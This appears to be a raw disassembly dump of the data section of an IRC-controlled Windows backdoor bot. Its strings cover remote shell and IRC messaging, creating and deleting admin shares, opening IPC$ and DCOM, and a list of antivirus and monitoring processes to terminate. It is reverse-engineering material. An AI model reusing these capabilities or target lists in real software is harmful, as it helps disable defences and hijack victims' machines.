aPaused_0	db '     Paused',0      ; DATA XREF: sub_418E66:loc_418F08o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418E66+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418E66+25o
		align 4
unk_4393AC	db  2Dh	; -		; DATA XREF: sub_418FA3+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_4393D0	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FA3+89o
		dd 73252720h, 27h
unk_4393EC	db  2Dh	; -		; DATA XREF: sub_418FA3+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419198+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_419198+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_419198+B5o
unk_439438	db  2Dh	; -		; DATA XREF: sub_419198+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419198+26o
		align 4
unk_439498	db  2Dh	; -		; DATA XREF: sub_4192B9+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_4394C0	db  2Dh	; -		; DATA XREF: sub_4192B9+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_4394F0	db  2Dh	; -		; DATA XREF: sub_4192B9+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439510	db  2Dh	; -		; DATA XREF: sub_4193FF+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_4193FF+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_4193FF+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4193FF+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_4193FF+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_4193FF+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_4193FF+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_4193FF+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_4193FF+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_4193FF+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_4193FF+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_4193FF+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_4193FF+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_4193FF+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_4193FF+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_4193FF+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_4193FF:loc_419518o
		align 10h
aUser_0		db 'User',0             ; DATA XREF: sub_4193FF:loc_419511o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_4193FF:loc_41950Ao
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_4193FF+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_4193FF+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_4193FF+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_4193FF+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4197CD+14Fo
		align 4
unk_4396CC	db  2Dh	; -		; DATA XREF: sub_4197CD+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4197CD+BEo
		align 10h
unk_439700	db  2Dh	; -		; DATA XREF: sub_4197CD+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4197CD+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41994D:loc_419A6Ao
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41994D:loc_419A63o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41994D:loc_419A5Co
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41994D:loc_419A55o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41994D:loc_419A4Eo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41994D:loc_419A31o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41994D:loc_419A2Ao
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41994D:loc_419A23o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41994D+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41994D:loc_4199F8o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41994D:loc_4199F1o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41994D:loc_4199EAo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41994D:loc_4199E0o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41994D+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41994D:loc_4199BAo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41994D:loc_4199B0o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41994D:loc_4199A6o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41994D:loc_41999Co
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41994D:loc_419992o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41994D+3Bo
		align 4
dword_439A08	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419A81+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439A34	db  2Dh	; -		; DATA XREF: sub_419A81+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_439A60	dd offset aRegedit_exe	; DATA XREF: sub_419BAA+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439B68
		dd offset dword_439B5C
		dd offset dword_439B50
		dd offset dword_439B44
		dd offset dword_439B38
		dd offset dword_439B2C
		dd offset dword_439B1C
		dd offset dword_439B10
		dd offset dword_439B04
		dd offset dword_439AF8
		dd offset dword_439AEC
		dd offset dword_439ADC
		dd offset dword_439AD0
		dd offset dword_439AC0
dword_439AC0	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419BAA+ECo
					; ___:00439ABCo
dword_439AD0	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439AB8o
dword_439ADC	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439AB4o
dword_439AEC	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439AB0o
dword_439AF8	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439AACo
dword_439B04	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439AA8o
dword_439B10	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439AA4o
dword_439B1C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439AA0o
dword_439B2C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439A9Co
dword_439B38	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439A98o
dword_439B44	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439A94o
dword_439B50	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439A90o
dword_439B5C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439A8Co
dword_439B68	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439A88o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439A84o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439A80o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439A7Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439A78o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439A74o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439A70o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439A6Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439A68o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439A64o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439A60o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419BAA+191o
		align 4
unk_439C18	db  2Dh	; -		; DATA XREF: sub_419DD9:loc_419E60o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439C3C	db  2Dh	; -		; DATA XREF: sub_419DD9+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439C60	db  2Dh	; -		; DATA XREF: sub_419DD9+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419F76+33o
unk_439C90	db  2Dh	; -		; DATA XREF: sub_419FFD:loc_41A12Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439CC0	db  2Dh	; -		; DATA XREF: sub_419FFD+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419FFD:loc_41A0E3o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439D18	db  2Dh	; -		; DATA XREF: sub_41A152+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_439D4C	db  2Dh	; -		; DATA XREF: sub_41A152+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_439D70	dd offset dword_439DA8	; DATA XREF: sub_41A367+1B3o
					; sub_41A68B+17Ao
		align 8
		dd offset dword_439DA0
		align 10h
off_439D80	dd offset dword_439D9C	; DATA XREF: sub_41A68B+1E3o
		dd offset dword_439D98
		dd offset dword_439D94
		dd offset dword_439D90
dword_439D90	dd 5C3A44h		; DATA XREF: sub_41A367+217o
					; ___:00439D8Co
dword_439D94	dd 2444h		; DATA XREF: ___:00439D88o
dword_439D98	dd 5C3A43h		; DATA XREF: ___:00439D84o
dword_439D9C	dd 2443h		; DATA XREF: ___:off_439D80o
dword_439DA0	dd 494D4441h, 244Eh	; DATA XREF: ___:00439D78o
dword_439DA8	dd 24435049h, 0		; DATA XREF: ___:off_439D70o
dword_439DB0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+2E5o
					; sub_41A68B+2D8o
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439DE0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439E08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A5C9o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439E34	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439E58	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A536o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439E84	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439EA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A499o
					; sub_41A68B:loc_41A7B9o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439ED8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A492o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439F14	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367:loc_41A474o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439F48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A367+EDo
					; sub_41A68B+EDo
		align 4
dword_439F98	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+91o
					; sub_41A68B+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439FC8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A367:loc_41A3D4o
		dd 62617369h, 2E64656Ch, 0
dword_439FE8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A367+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A367+54o
					; sub_41A68B+54o
		align 4
dword_43A018	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+2C0o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A68B+22Ao
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A68B+219o
dword_43A048	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B:loc_41A82Ao
					; sub_41A68B:loc_41A8F8o
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A070	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+198o
					; sub_41A68B+266o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A090	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B:loc_41A7B2o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A0CC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B:loc_41A794o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A104	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A144	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A68B:loc_41A6F8o
		dd 6C62616Eh, 2E6465h
dword_43A160	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A68B+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A9BC+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A1B8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41AB97+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41AB97+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41AB97+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41AB97+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41AB97+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41AB97+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41AB97+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41AB97+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41AB97+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41AB97+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41AB97+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41AB97+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41AB97+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41AB97+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41AB97+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41AB97+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41AB97+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41AB97+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41AB97+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41AB97+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41AB97+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41AB97+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41AB97+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41AB97+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41AB97+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41AB97+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41AB97+15o
dword_43A3C4	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF2B+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A4A0	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF2B+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF2B:loc_41B08Fo
		align 4
dword_43A4C4	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B1DF+ABo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A508	dd offset loc_412F4E	; DATA XREF: sub_41B1DF:loc_41B253o
off_43A50C	dd offset dword_4E414C	; DATA XREF: sub_41B1DF:loc_41B24Co
dword_43A510	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B1DF+5Bo
dword_43A518	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B1DF+48o
unk_43A528	db  2Dh	; -		; DATA XREF: sub_41B2A5:loc_41B45Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A558	db  2Dh	; -		; DATA XREF: sub_41B2A5:loc_41B457o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A584	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B2A5+1A0o
		dd 4C525520h, 2Eh
unk_43A5A0	db  2Dh	; -		; DATA XREF: sub_41B2A5:loc_41B438o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A5DC	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B2A5+18Co
		dd 64657469h, 2Eh
dword_43A5F8	dd 2A2F2Ah		; DATA XREF: sub_41B2A5+3Bo
word_43A5FC	dw 4			; DATA XREF: sub_41B4FB+10r
		align 10h
dword_43A600	dd 6325h		; DATA XREF: ___:0041B83Co
dword_43A604	dd 0DFFh		; DATA XREF: ___:0041B68Ao
dword_43A608	dd 51FFh		; DATA XREF: ___:0041B67Fo
dword_43A60C	dd 0EBFFh		; DATA XREF: ___:0041B674o
dword_43A610	dd 201h			; DATA XREF: ___:0041B65Fo
dword_43A614	dd 20424652h, 2E333030h, 0A383030h, 4 dup(0) ; DATA XREF: ___:0041B64Do
dword_43A630	dd 5F8843F5h		; DATA XREF: sub_41C058+4w sub_41C062r ...
		align 10h
dword_43A640	dd 173Fh		; DATA XREF: sub_41CDE5+Dr
		dd 9875h, 9873h
off_43A64C	dd offset sub_41CEB4	; DATA XREF: ___:0041BF04r
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CEh, 41h, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0CEh, 41h, 0
dword_43A658	dd 1B3Fh		; DATA XREF: sub_41CF2B+Dr
dword_43A65C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D3AD+2o
					; sub_41D3B6+2o
off_43A670	dd offset sub_41BF42	; DATA XREF: sub_41E1C9+1Cr
dword_43A674	dd 2			; DATA XREF: sub_423498+Er
					; sub_4234D1+46r ...
		dd 10h
dword_43A67C	dd 3F8h			; DATA XREF: sub_41BB48+4Dr
					; sub_41BCD9+5r ...
off_43A680	dd offset word_43A68A	; DATA XREF: sub_41BE6E+23r
					; sub_41BE6E:loc_41BECFr ...
off_43A684	dd offset word_43A68A	; DATA XREF: sub_426B2A+18r
		db 2 dup(0)
word_43A68A	dw 20h			; DATA XREF: sub_424C57+18r
					; ___:off_43A680o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43A88C	dd 1			; DATA XREF: sub_41BE6E:loc_41BE76r
					; sub_41BE6E:loc_41BEBAr ...
byte_43A890	db 2Eh			; DATA XREF: sub_420445:loc_420739r
					; sub_420445+311r ...
		align 4
		dd 1
off_43A898	dd offset aNull_0	; DATA XREF: sub_41F5D4:loc_41F938r
					; sub_41F5D4+457r
					; "(null)"
off_43A89C	dd offset aNull		; DATA XREF: sub_41F5D4+259r
					; "(null)"
byte_43A8A0	db 1			; DATA XREF: sub_41FDDE+E1r
		db 2, 4, 8
		align 8
dword_43A8A8	dd 3A4h			; DATA XREF: sub_41FDDE+2Fo
dword_43A8AC	dd 82798260h, 21h, 0	; DATA XREF: sub_41FDDE+11Dr
dword_43A8B8	dd 0DFA6h		; DATA XREF: sub_41FDDE+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A998	dd 1			; DATA XREF: sub_41FDDE+3Co
					; sub_420314+Co
dword_43A99C	dd 16h			; DATA XREF: sub_420314:loc_420349r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43AB00	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420314+19o
					; sub_420445:loc_4209ACo
dword_43AB08	dd 5Dh,	0		; DATA XREF: sub_420445:loc_42089Co
dword_43AB10	dd 14h			; DATA XREF: sub_421559+2o
off_43AB14	dd offset aExp		; DATA XREF: sub_421559:loc_421576r
					; "exp"
		dd 1Dh,	427840h, 1Ah, 42C61Ch, 1Bh, 427838h, 1Fh, 427830h
		dd 13h,	427828h, 21h, 427820h, 0Eh, 427818h, 0Dh, 427810h
		dd 0Fh,	427808h, 10h, 427800h, 5, 4277F8h, 1Eh,	4277F4h
		dd 12h,	4277F0h, 20h, 4277ECh, 0Ch, 4277E4h, 0Bh, 4277DCh
		dd 15h,	4277D4h, 1Ch, 4277CCh, 19h, 4277C4h, 11h, 4277BCh
		dd 18h,	4277B4h, 16h, 4277ACh, 17h, 4277A4h, 22h, 4277A0h
		dd 23h,	42779Ch, 24h, 427798h
dbl_43ABE8	dq 1.797693134862316e308 ; DATA	XREF: sub_421294+B7r
					; sub_421294:loc_42137Br ...
		dd 0
		dd 0FFF80000h
dbl_43ABF8	dq 1.797693134862316e308 ; DATA	XREF: sub_421294+92r
					; sub_421294:loc_421353r ...
